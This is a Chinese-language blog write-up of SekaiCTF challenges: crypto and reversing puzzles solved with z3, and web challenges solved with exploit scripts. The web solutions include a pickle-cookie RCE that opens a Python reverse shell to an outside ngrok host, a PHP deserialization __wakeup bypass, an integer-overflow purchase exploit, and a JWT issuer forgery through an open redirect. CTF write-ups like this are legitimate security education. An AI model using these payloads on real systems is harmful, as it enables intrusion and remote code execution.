21 分鐘閱讀

Yet another CTF writeups ;)

Intro

這個假日自己參加了SekaiCTF,只解了幾題Web和幾題其他類型的送分題,不過還是稍微筆記一下一些值得紀錄的解題過程

Time Capsule (crypto)

Overview

題目的source code:

import time
import os
import random

from SECRET import flag

def encrypt_stage_one(message, key):
    u = [s for s in sorted(zip(key, range(len(key))))]
    res = ''

    for i in u:
        for j in range(i[1], len(message), len(key)):
            res += message[j]

    return res

def encrypt_stage_two(message):
    now = str(time.time()).encode('utf-8')
    now = now + "".join("0" for _ in range(len(now), 18)).encode('utf-8')
    
    random.seed(now)
    key = [random.randrange(256) for _ in message]
    
    return [m ^ k for (m,k) in zip(message + now, key + [0x42]*len(now))]


# I am generating many random numbers here to make my message secure
rand_nums = []
while len(rand_nums) != 8:
    tmp = int.from_bytes(os.urandom(1), "big")
    if tmp not in rand_nums:
        rand_nums.append(tmp)

for _ in range(42):
    # Answer to the Ultimate Question of Life, the Universe, and Everything...
    flag = encrypt_stage_one(flag, rand_nums)

# print(flag)

# Another layer of randomness based on time. Unbreakable.
res = encrypt_stage_two(flag.encode('utf-8'))

with open("flag.enc", "wb") as f:
    f.write(bytes(res))
f.close()

可以看到題目會把flag依照隨機生成的rand_nums的大小順序,在encrypt_stage_one()中把flag的順序打亂,

接著把time.time()當成random seed,生成長度為256的key去和打亂順序的flag在encrypt_stage_two()中xor

Solution

首先可以發現encrypt_stage_two()now是可以很輕鬆的復原的,因為我們可以從這裡知道:

return [m ^ k for (m,k) in zip(message + now, key + [0x42]*len(now))]

只需要把flag的最後18 bytes和b'\x42'*18xor,就會得出encrypt時用的now

而既然我們知道了now,就等於我們可以將題目給的flag.enc中的內容恢復成encrypt_stage_two()前的狀態

這時由於encrypt_stage_one()的key長度很短,頂多也只有8!=40320種可能

所以我們可以直接窮舉key,再搭配z3去硬解就可以了(我自己是花了10分鐘找出key)

from z3 import *
import random
from itertools import permutations
from tqdm import tqdm


def encrypt_stage_one(message, key):
    res = []
    for i in key:
        for j in range(i, len(message), len(key)):
            res += [message[j]]

    return res


def decrypt_stage_two(message, now):
    random.seed(now)
    key = [random.randrange(256) for _ in message]

    return [m ^ k for (m, k) in zip(message, key + [0x42] * len(now))][:-18]


def main() -> None:
    with open("flag.enc", "rb") as f:
        flag_enc = f.read()
    now = bytes([0x42 ^ x for x in flag_enc[-18:]])
    flag_enc = bytes(decrypt_stage_two(flag_enc, now))
    print(flag_enc)
    keys = list(permutations(range(8)))
    flag_init = [BitVec(f"flag_{i}", 8) for i in range(len(flag_enc))]
    for k in tqdm(keys[33000:]):
        s = Solver()
        flag = flag_init.copy()
        for i, c in enumerate(b"SEKAI{"):
            s.add(flag[i] == c)
        s.add(flag[-1] == ord("}"))
        for _ in range(42):
            flag = encrypt_stage_one(flag, k)
        for i, c in enumerate(flag_enc):
            s.add(flag[i] == c)
        if s.check() == sat:
            print("Found:")
            print(bytes([s.model()[x].as_long() for x in flag_init]))
            #  82%|██████████████████████████████████████████████████████████████████████████████████████████████████████▌                      | 33082/40320 [10:24<02:22, 50.83it/s]
            # Found:
            # b'SEKAI{T1m3_15_pr3C10u5_s0_Enj0y_ur_L1F5!!!}'
            break


main()

flag: SEKAI{T1m3_15_pr3C10u5_s0_Enj0y_ur_L1F5!!!}

Matrix Lab 1 (reverse)

Overview

這題給了一個java的class檔,丟進idea裡後decompile一下:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.util.Scanner;

public class Sekai {
    private static int length = (int)Math.pow(2.0D, 3.0D) - 2;

    public Sekai() {
    }

    public static void main(String[] var0) {
        Scanner var1 = new Scanner(System.in);
        System.out.print("Enter the flag: ");
        String var2 = var1.next();
        if (var2.length() != 43) {
            System.out.println("Oops, wrong flag!");
        } else {
            String var3 = var2.substring(0, length);
            String var4 = var2.substring(length, var2.length() - 1);
            String var5 = var2.substring(var2.length() - 1);
            if (var3.equals("SEKAI{") && var5.equals("}")) {
                assert var4.length() == length * length;

                if (solve(var4)) {
                    System.out.println("Congratulations, you got the flag!");
                } else {
                    System.out.println("Oops, wrong flag!");
                }
            } else {
                System.out.println("Oops, wrong flag!");
            }

        }
    }

    public static String encrypt(char[] var0, int var1) {
        char[] var2 = new char[length * 2];
        int var3 = length - 1;
        int var4 = length;

        int var5;
        for(var5 = 0; var5 < length * 2; ++var5) {
            var2[var5] = var0[var3--];
            var2[var5 + 1] = var0[var4++];
            ++var5;
        }

        for(var5 = 0; var5 < length * 2; ++var5) {
            var2[var5] ^= (char)var1;
        }

        return String.valueOf(var2);
    }

    public static char[] getArray(char[][] var0, int var1, int var2) {
        char[] var3 = new char[length * 2];
        int var4 = 0;

        int var5;
        for(var5 = 0; var5 < length; ++var5) {
            var3[var4] = var0[var1][var5];
            ++var4;
        }

        for(var5 = 0; var5 < length; ++var5) {
            var3[var4] = var0[var2][length - 1 - var5];
            ++var4;
        }

        return var3;
    }

    public static char[][] transform(char[] var0, int var1) {
        char[][] var2 = new char[var1][var1];

        for(int var3 = 0; var3 < var1 * var1; ++var3) {
            var2[var3 / var1][var3 % var1] = var0[var3];
        }

        return var2;
    }

    public static boolean solve(String var0) {
        char[][] var1 = transform(var0.toCharArray(), length);

        for(int var2 = 0; var2 <= length / 2; ++var2) {
            for(int var3 = 0; var3 < length - 2 * var2 - 1; ++var3) {
                char var4 = var1[var2][var2 + var3];
                var1[var2][var2 + var3] = var1[length - 1 - var2 - var3][var2];
                var1[length - 1 - var2 - var3][var2] = var1[length - 1 - var2][length - 1 - var2 - var3];
                var1[length - 1 - var2][length - 1 - var2 - var3] = var1[var2 + var3][length - 1 - var2];
                var1[var2 + var3][length - 1 - var2] = var4;
            }
        }

        String var10001 = encrypt(getArray(var1, 0, 5), 2);
        return "oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2".equals(var10001 + encrypt(getArray(var1, 1, 4), 1) + encrypt(getArray(var1, 2, 3), 0));
    }
}

Solution

這題蠻有趣的,可以看的出來整個input的驗證過程都只是把array裡的東西移來移去,頂多做個xor而已,所以對z3很友善

於是我們只需要把這些java的code用Python寫出來,剩下交給z3去解就行了

而這部分Github Copilot幫了我大忙,我們只需要把java的function code當成註解,並稍微引導一下,

有時只需要改個一兩行,甚至完全不用自己動手,Github Copilot就會自動幫你生成Python版本的code了!

最後我的code長這樣:

from z3 import *

length = 6

"""
public static String encrypt(char[] var0, int var1) {
    char[] var2 = new char[length * 2];
    int var3 = length - 1;
    int var4 = length;

    int var5;
    for(var5 = 0; var5 < length * 2; ++var5) {
        var2[var5] = var0[var3--];
        var2[var5 + 1] = var0[var4++];
        ++var5;
    }

    for(var5 = 0; var5 < length * 2; ++var5) {
        var2[var5] ^= (char)var1;
    }

    return String.valueOf(var2);
}
"""


def encrypt(var0, var1):
    var2 = [0] * (length * 2)
    var3 = length - 1
    var4 = length
    for var5 in range(0, length * 2, 2):
        var2[var5] = var0[var3]
        var3 -= 1
        var2[var5 + 1] = var0[var4]
        var4 += 1
    for var5 in range(length * 2):
        var2[var5] ^= var1
    return var2


"""
public static char[] getArray(char[][] var0, int var1, int var2) {
    char[] var3 = new char[length * 2];
    int var4 = 0;

    int var5;
    for(var5 = 0; var5 < length; ++var5) {
        var3[var4] = var0[var1][var5];
        ++var4;
    }

    for(var5 = 0; var5 < length; ++var5) {
        var3[var4] = var0[var2][length - 1 - var5];
        ++var4;
    }

    return var3;
}
"""


def getArray(var0: list, var1: int, var2: int) -> list:
    var3 = [0] * (length * 2)
    var4 = 0
    for var5 in range(length):
        var3[var4] = var0[var1][var5]
        var4 += 1
    for var5 in range(length):
        var3[var4] = var0[var2][length - 1 - var5]
        var4 += 1
    return var3


"""
public static char[][] transform(char[] var0, int var1) {
    char[][] var2 = new char[var1][var1];

    for(int var3 = 0; var3 < var1 * var1; ++var3) {
        var2[var3 / var1][var3 % var1] = var0[var3];
    }

    return var2;
}
"""


def transform(var0, var1: int):
    var2 = [[0] * var1 for _ in range(var1)]

    for var3 in range(var1 * var1):
        var2[var3 // var1][var3 % var1] = var0[var3]

    return var2


"""
public static boolean solve(String var0) {
        char[][] var1 = transform(var0.toCharArray(), length);

        for(int var2 = 0; var2 <= length / 2; ++var2) {
            for(int var3 = 0; var3 < length - 2 * var2 - 1; ++var3) {
                char var4 = var1[var2][var2 + var3];
                var1[var2][var2 + var3] = var1[length - 1 - var2 - var3][var2];
                var1[length - 1 - var2 - var3][var2] = var1[length - 1 - var2][length - 1 - var2 - var3];
                var1[length - 1 - var2][length - 1 - var2 - var3] = var1[var2 + var3][length - 1 - var2];
                var1[var2 + var3][length - 1 - var2] = var4;
            }
        }

        String var10001 = encrypt(getArray(var1, 0, 5), 2);
        return "oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2".equals(var10001 + encrypt(getArray(var1, 1, 4), 1) + encrypt(getArray(var1, 2, 3), 0));
    }
"""


def solve(solver, var0: list) -> None:
    var1 = transform(var0, length)
    for var2 in range(length // 2 + 1):
        for var3 in range(length - 2 * var2 - 1):
            var4 = var1[var2][var2 + var3]
            var1[var2][var2 + var3] = var1[length - 1 - var2 - var3][var2]
            var1[length - 1 - var2 - var3][var2] = var1[length - 1 - var2][
                length - 1 - var2 - var3
            ]
            var1[length - 1 - var2][length - 1 - var2 - var3] = var1[var2 + var3][
                length - 1 - var2
            ]
            var1[var2 + var3][length - 1 - var2] = var4
    var10001 = encrypt(getArray(var1, 0, 5), 2)
    var10001 += encrypt(getArray(var1, 1, 4), 1)
    var10001 += encrypt(getArray(var1, 2, 3), 0)
    for i, c in enumerate(b"oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2"):
        solver.add(var10001[i] == c)


def main() -> None:
    s = Solver()

    flag = [BitVec(f"flag[{i}]", 8) for i in range(43)]
    flag_init = flag.copy()
    for i, c in enumerate(b"SEKAI{"):
        s.add(flag[i] == c)
    s.add(flag[-1] == ord("}"))
    solve(s, flag[6:-1])
    assert s.check() == sat
    print(bytes([s.model()[i].as_long() for i in flag_init]).decode()) # SEKAI{m4tr1x_d3cryP710N_15_Fun_M4T3_@2D2D!}


if __name__ == "__main__":
    main()

flag: SEKAI{m4tr1x_d3cryP710N_15_Fun_M4T3_@2D2D!}

Bottle Poem (web)

Overview

這題是半blackbox的web,但漏洞很明顯,可以通過他page的html觀察到他似乎可以讀任意文件:

<ul>
    <li><a class="text-blue-300 underline hover:no-underline" href="/show?id=spring.txt">Spring</a></li>
    <li><a class="text-blue-300 underline hover:no-underline" href="/show?id=Auguries_of_Innocence.txt">Auguries_of_Innocence</a></li>
    <li><a class="text-blue-300 underline hover:no-underline" href="/show?id=The_tiger.txt">The_tiger</a></li>
</ul>

嘗試讀/proc/self/cmdline:

00000000: 7079 7468 6f6e 3300 2d75 002f 6170 702f  python3.-u./app/
00000010: 6170 702e 7079 00                        app.py.

得知是一個Python的app,讀一下/app/app.py的內容:

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

可以觀察到這題的server是用一個叫做bottle的東西寫的,

而且通過from config.secret import sekai可以得知在/app/config/secret.py裡面還放了給session的secret key

/app/config/secret.py:

sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

Solution

這題我原本以為只需要透過這個key自己按照bottle的api簽一個admin的session即可拿到flag,但發現拿到admin完全沒用

後來追進去request.cookie的code裡看了一下實做的方式:

def get_cookie(self, key, default=None, secret=None):
        """ Return the content of a cookie. To read a `Signed Cookie`, the
            `secret` must match the one used to create the cookie (see
            :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
            cookie or wrong signature), return a default value. """
        value = self.cookies.get(key)
        if secret and value:
            dec = cookie_decode(value, secret) # (key, value) tuple or None
            return dec[1] if dec and dec[0] == key else default
        return value or default

可以觀察到get_cookie()會去呼叫一個叫cookie_decode的function,再追進去:

def cookie_decode(data, key):
    ''' Verify and decode an encoded string. Return an object or None.'''
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

哇,cookie_decode()竟然直接調用了pickle.loads去deserialize cookie!

這時我們再來看一下response.set_cookie()是怎麼實做的:

... # bla bla bla
if not self._cookies:
    self._cookies = SimpleCookie()

if secret:
    value = touni(cookie_encode((name, value), secret))
... # bla bla bla

再看一下cooke_encode()在做什麼:

def cookie_encode(data, key):
    ''' Encode and sign a pickle-able object. Return a (byte) string '''
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg

Bingo,他會去pickle.dumpsdata的部分!

接下來就是用老梗的方法弄出可以rce的東西塞進cookie就行了

solve.py:

from bottle import cookie_encode
import requests
from urllib.parse import quote

URL = "http://bottle-poem.ctf.sekai.team"


cmd = '''
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("2.tcp.ngrok.io",12553));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
'''.strip()

class RCE:
    def __reduce__(self):
        return (__import__("os").system, (cmd,))

def main() -> None:
    s = requests.Session()
    r = s.get(URL + "/show", params={
        "id": "/app/config/secret.py"
    })
    secret = r.text.split('"')[1]
    # print(secret)
    payload = cookie_encode(("name", {"name": RCE()}), secret)
    print(payload)
    s.get(URL + "/sign", cookies={
        "name": payload.decode()
    })
    # $ ncat -vl 1337
    # Ncat: Version 7.91 ( https://nmap.org/ncat )
    # Ncat: Listening on :::1337
    # Ncat: Listening on 0.0.0.0:1337
    # Ncat: Connection from 127.0.0.1.
    # Ncat: Connection from 127.0.0.1:52571.
    # $ /flag
    # /flag
    # SEKAI{W3lcome_To_Our_Bottle}
    

main()

寫reverse shell回來:

$ ncat -vl 1337
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:52571.
$ /flag
/flag
SEKAI{W3lcome_To_Our_Bottle}

flag: SEKAI{W3lcome_To_Our_Bottle}

Sekai Game Start (web)

Overview

題目的php version是7.4.5,source code:

<?php
include('./flag.php');
class Sekai_Game{
    public $start = True;
    public function __destruct(){
        if($this->start === True){
            echo "Sekai Game Start Here is your flag ".getenv('FLAG');
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
if(isset($_GET['sekai_game.run'])){
    unserialize($_GET['sekai_game.run']);
}else{
    highlight_file(__FILE__);
}

?>

可以看到server會去unserialize$_GET['sekai_game.run']裡的東西

若我們能繞過__wakeup直接讓反序列出來的object直接__destruct的話,就能拿到flag

Solution

這題有兩關,第一關是/?sekai_game.run=xxxxx這種request,sekai_game.run=xxxx會被parse成$_GET['sekai_game_run']=xxxx

所以是沒辦法順利調用unserialize的

這裡卡了一陣子,後來翻了一下source code:

main/php_variables.c#L105-L115:

/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
    if (*p == ' ' || *p == '.') {
        *p='_';
    } else if (*p == '[') {
        is_array = 1;
        ip = p;
        *p = 0;
        break;
    }
}

可以發現php在parse的時候會先把所有的空格,.都replace成_,但可以注意到因為php也支援傳入array型別的變數

所以遇到[後就會直接break掉

接著若is_array==1,且無法順利parse出array時,會執行:

main/php_variables.c#L191-L195

if (!ip) {
    /* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
    *(index_s - 1) = '_';

    index_len = 0;

這個動作會將[也替代成_,但並沒有繼續確認[後是否有空格,.!

所以若我們輸入sekai[game.run,php會parse成sekai_game.run!

我們也就可以順利將我們的payload反序列了!

Note: 這個部分在php8已經不會發生了,因為在*(index_s - 1) = '_';會再檢查一次是否有不符合的字元:

main/php_variables.c#L196-L201

*(index_s - 1) = '_';
/* PHP variables cannot contain ' ', '.', '[' in their names, so we replace the characters with a '_' */
for (p = index_s; *p; p++) {
    if (*p == ' ' || *p == '.' || *p == '[') {
        *p = '_';
    }

接下來第二關是繞過__wakeup的部分,但這裡我原理不太懂,我是在bugs.php.net/bug.php?id=81151找到的:

當使用C這個類型去反序列的時候,如果不是Serializable,就會造成錯誤,而且不會呼叫__wakeup

所以最後的payload:

$ curl -g --path-as-is 'http://sekai-game-start.ctf.sekai.team/?sekai[game.run=C:10:%22Sekai_Game%22:0:{}'
<br />
<b>Warning</b>:  Class Sekai_Game has no unserializer in <b>/var/www/html/index.php</b> on line <b>15</b><br />
Sekai Game Start Here is your flag SEKAI{W3lcome_T0_Our_universe}

flag: SEKAI{W3lcome_T0_Our_universe}

Crab Commodities (web)

Overview

這題是用rust寫的,code有點多,完整的code就不貼上來了,簡單講幾個重點:

題目是一個用rust寫的商城,可以買東西,賣東西,或是升級使用者的帳戶,

其中/upgrade的route會提供你買flag的功能和升級帳戶的功能:

#[post("/upgrade")]
async fn upgrade(user: User, body: web::Form<ItemPayload>) -> Json<APIResult> {
    if user.game.is_over() {
        return web::Json(APIResult {
            success: false,
            message: "The game is over",
        });
    }

    if body.quantity <= 0 || body.quantity > 32767 {
        return web::Json(APIResult {
            success: false,
            message: "Invalid quantity",
        });
    }

    // upgrades
    if let Some(item) = crate::game::UPGRADES.iter().find(|u| u.name == body.name) {
        let mut price = item.price;

        // quantity matters for donate and storage
        if item.name == "Donate to charity" || item.name == "Storage Upgrade" {
            price *= body.quantity;
        }

        // upgrade checks
        if user.game.has_upgrade("Loan") && item.name == "Loan" {
            return web::Json(APIResult {
                success: false,
                message: "You can't take out another loan",
            });
        }
        if user.game.has_upgrade("More Commodities") && item.name == "More Commodities" {
            return web::Json(APIResult {
                success: false,
                message: "You already have access to all commodities",
            });
        }

        if user.game.money.get() < price as i64 {
            return web::Json(APIResult {
                success: false,
                message: "Not enough money",
            });
        }

        let mut upgrades = user.game.upgrades.get();
        upgrades.extend(vec![item].repeat(body.quantity as usize));
        if upgrades.len() > 32767 {
            return web::Json(APIResult {
                success: false,
                message: "Too many upgrades purchased",
            });
        }
        user.game.upgrades.set(upgrades);

        if price != 0 {
            user.game.money.set(user.game.money.get() - price as i64);
        }

        if item.name == "Storage Upgrade" {
            return web::Json(APIResult {
                success: true,
                message: "Enjoy your new storage",
            });
        } else if item.name == "More Commodities" {
            let mut market = user.game.market.get();
            market.extend(crate::game::EXTENDED_ITEMS);
            user.game.market.set(market);
            user.game.market.set(user.game.randomize_market());
            return web::Json(APIResult {
                success: true,
                message: "Enjoy your new selection",
            });
        } else if item.name == "Flag" {
            return web::Json(APIResult {
                success: true,
                message: "Hacker...",
            });
        } else if item.name == "Loan" {
            user.game.debt.set(user.game.debt.get() - item.price as i64); // since item.price is negative for loan
            return web::Json(APIResult {
                success: true,
                message: "Make sure to pay it back...",
            });
        } else if item.name == "Donate to charity" {
            return web::Json(APIResult {
                success: true,
                message: "What a nice gesture :)",
            });
        } else if item.name == "Sleep" {
            user.game.day.set(user.game.day.get() + 1);
            user.game.market.set(user.game.randomize_market());

            return web::Json(APIResult {
                success: true,
                message: "Have a nice rest...",
            });
        }
    }
    web::Json(APIResult {
        success: false,
        message: "No upgrade found with that name",
    })
}

但flag的價格很貴,用正常手段是達不到的:

// list of upgrades and items
pub const UPGRADES: &[Upgrade] = &[
    Upgrade {
        name: "Storage Upgrade",
        price: 100_000,
        color: "primary",
    },
    Upgrade {
        name: "More Commodities",
        price: 100_000,
        color: "warning",
    },
    Upgrade {
        name: "Flag",
        price: 2_000_000_000,
        color: "success",
    },
    Upgrade {
        name: "Loan",
        price: -37_500,
        color: "danger",
    },
    Upgrade {
        name: "Donate to charity",
        price: 1,
        color: "info",
    },
    Upgrade {
        name: "Sleep",
        price: 0,
        color: "secondary",
    },
];

flag的價格為: 2_000_000_000

Solution

自從我第一次在web看到rust的題目,就一直在想integer overflow應該有一天會出現,結果這次就出現了:

由於在這裡:

// quantity matters for donate and storage
if item.name == "Donate to charity" || item.name == "Storage Upgrade" {
    price *= body.quantity;
}

沒有檢查quantity的量就直接做乘法,而price只是32 bits的sign int,所以很可能會overflow

剛好Storage Upgrade很貴,需要100_000,所以只需要一次買大約20000個,

即可透過overflow,達到購買負數價格的商品,拿到超過2_000_000_000的錢

接著買flag就可以了,solve.py:

import requests
import secrets
import ctypes
import re

URL = "http://crab-commodities.ctf.sekai.team"


def main() -> None:
    s = requests.Session()
    s.post(
        URL + "/auth/register",
        data={
            "username": secrets.token_hex(16),
            "password": secrets.token_hex(16),
        },
    )
    quantity = 22000
    price = 100_000
    assert -ctypes.c_int32(quantity * price).value > 2_000_000_000
    s.post(
        URL + "/api/upgrade",
        data={
            "quantity": quantity,
            "name": "Storage Upgrade",
        },
    )
    s.post(
        URL + "/api/upgrade",
        data={
            "quantity": "1",
            "name": "Flag",
        },
    )
    r = s.get(URL + "/game")
    flag = re.search(r"SEKAI\{.*\}", r.text).group(0)
    print(flag)  # SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}


main()

flag: SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}

這題其實蠻簡單的,純粹code review而已,但不知道為什麼解的人不多,可能是被rust嚇到了XD

issuer (web)

Overview

api.py主要負責auth的邏輯,若auth成功,拜訪/api/flag即可拿到flag:

from flask import Blueprint, request
from urllib.parse import urlparse
import os
import jwt
import requests

api = Blueprint("api", __name__, url_prefix="/api")

valid_issuer_domain = os.getenv("HOST")
valid_algo = "RS256"


def get_public_key_url(token):
    is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain

    header = jwt.get_unverified_header(token)
    if "issuer" not in header:
        raise Exception("issuer not found in JWT header")
    token_issuer = header["issuer"]

    if not is_valid_issuer(token_issuer):
        raise Exception(
            "Invalid issuer netloc: {issuer}. Should be: {valid_issuer}".format(
                issuer=urlparse(token_issuer).netloc, valid_issuer=valid_issuer_domain
            )
        )

    pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer)
    return pubkey_url

def get_public_key(url):
    resp = requests.get(url)
    resp = resp.json()
    key = resp["keys"][0]["x5c"][0]
    return key


def has_valid_alg(token):
    header = jwt.get_unverified_header(token)
    algo = header["alg"]
    return algo == valid_algo


def authorize_request(token):
    pubkey_url = get_public_key_url(token)
    if has_valid_alg(token) is False:
        raise Exception("Invalid algorithm. Only {valid_algo} allowed.".format(valid_algo=valid_algo))

    pubkey = get_public_key(pubkey_url)
    pubkey = "-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(pubkey=pubkey).encode()
    decoded_token = jwt.decode(token, pubkey, algorithms=["RS256"])
    if "user" not in decoded_token:
        raise Exception("user claim missing")
    if decoded_token["user"] == "admin":
        return True

    return False


@api.before_request
def authorize():
    if "Authorization" not in request.headers:
        raise Exception("No Authorization header found")

    authz_header = request.headers["Authorization"].split(" ")
    if len(authz_header) < 2:
        raise Exception("Bearer token not found")

    token = authz_header[1]
    if not authorize_request(token):
        return "Authorization failed"


f = open("flag.txt")
secret_flag = f.read()
f.close()


@api.route("/flag")
def flag():
    return secret_flag

此外可以觀察到,這題使用了RS256的jwt,且在get_public_key_url()中會去對header中的issuer欄位裡的url發起HTTP request,去get RSA的public key用於deocde jwt

所以只要我們能夠控制issuer,即可讓server用我們自己的public key去decode我們用自己的private key創造的jwt

而除了api.py以外,server的其他部分寫在app.py中:

from flask import Flask, request, session, url_for, redirect, render_template, Response
import secrets
from api import api
from werkzeug.exceptions import HTTPException

app = Flask(__name__, template_folder=".")
app.secret_key = secrets.token_bytes()

jwks_file = open("jwks.json", "r")
jwks_contents = jwks_file.read()
jwks_file.close()

app.register_blueprint(api)

@app.after_request 
def after_request_callback(response: Response): 
    # your code here 
    print(response.__dict__)
    if response.headers["Content-Type"].startswith("text/html"):
        updated = render_template("template.html", status=response.status_code, message=response.response[0].decode())
        response.set_data(updated)
    return response

@app.errorhandler(Exception)
def handle_exception(e):
    if isinstance(e, HTTPException):
        return e
    return str(e), 500

@app.route("/", defaults={"path": ""})
@app.route("/<path:path>")
def home(path):
    return "OK", 200
    return render_template("template.html", status=200, message="OK")


@app.route("/login", methods=['GET', 'POST'])
def login():
    return "Not Implemented", 501
    return render_template("template.html", status=501, message="Not Implemented"), 501


@app.route("/.well-known/jwks.json")
def jwks():
    return jwks_contents, 200, {'Content-Type': 'application/json'}


@app.route("/logout")
def logout():
    session.clear()
    redirect_uri = request.args.get('redirect', url_for('home'))
    return redirect(redirect_uri)
    

Solution

這題我卡了很久,原本以為是要想辦法讓urlparse的結果的netloc和requests.get使用的netloc不同去SSRF

但後來發現根本不需要(似乎也不可能?),因為/logout有個open redirect,

issuer直接放http://localhost:8080/logout?redirect=WEBHOOK_URL,redirect到自己的server就行了…

solve.py:

import jwt
from flask import Flask
import requests
from Crypto.PublicKey import RSA

app = Flask(__name__)

URL = "http://issues-3m7gwj1d.ctf.sekai.team"
WEBHOOK_URL = "https://your-webhook-url"

# new a RSA key
key = RSA.generate(2048)
# get the x5c for the public key
public_key = key.publickey().exportKey("PEM").decode()
x5c = "\n".join(public_key.splitlines()[1:-1])
assert (
    "-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(pubkey=x5c)
    == public_key
)
private_key = key.exportKey("PEM")


@app.route("/")
def main():
    data = {"user": "admin"}
    issuer = (
        f"http://localhost:8080/logout?redirect={WEBHOOK_URL}"
    )
    token = jwt.encode(data, private_key, algorithm="RS256", headers={"issuer": issuer})
    # jwt.decode(token, public_key, algorithms=["RS256"])
    print(f"Token: {token}")
    s = requests.Session()
    s.headers.update({"Authorization": "Bearer " + token})
    r = s.get(URL + "/api/flag")
    return r.text


@app.route("/.well-known/jwks.json")
def jwks():
    return (
        {"keys": [{"alg": "RS256", "x5c": [x5c]}]},
        200,
        {"Content-Type": "application/json"},
    )


app.run(host="127.0.0.1", port=5000)
# Goto http://your-webhook-url to get the flag
# Flag: SEKAI{v4l1d4t3_y0ur_i55u3r_plz}

flag: SEKAI{v4l1d4t3_y0ur_i55u3r_plz}

Summary

這次學到了一些php的新招,對z3和jwt也更加熟練了一點

遺憾的是這次Strellic出的兩題XSS難題我一題都沒解出來,希望有招一日我能成功ak掉Strellic的web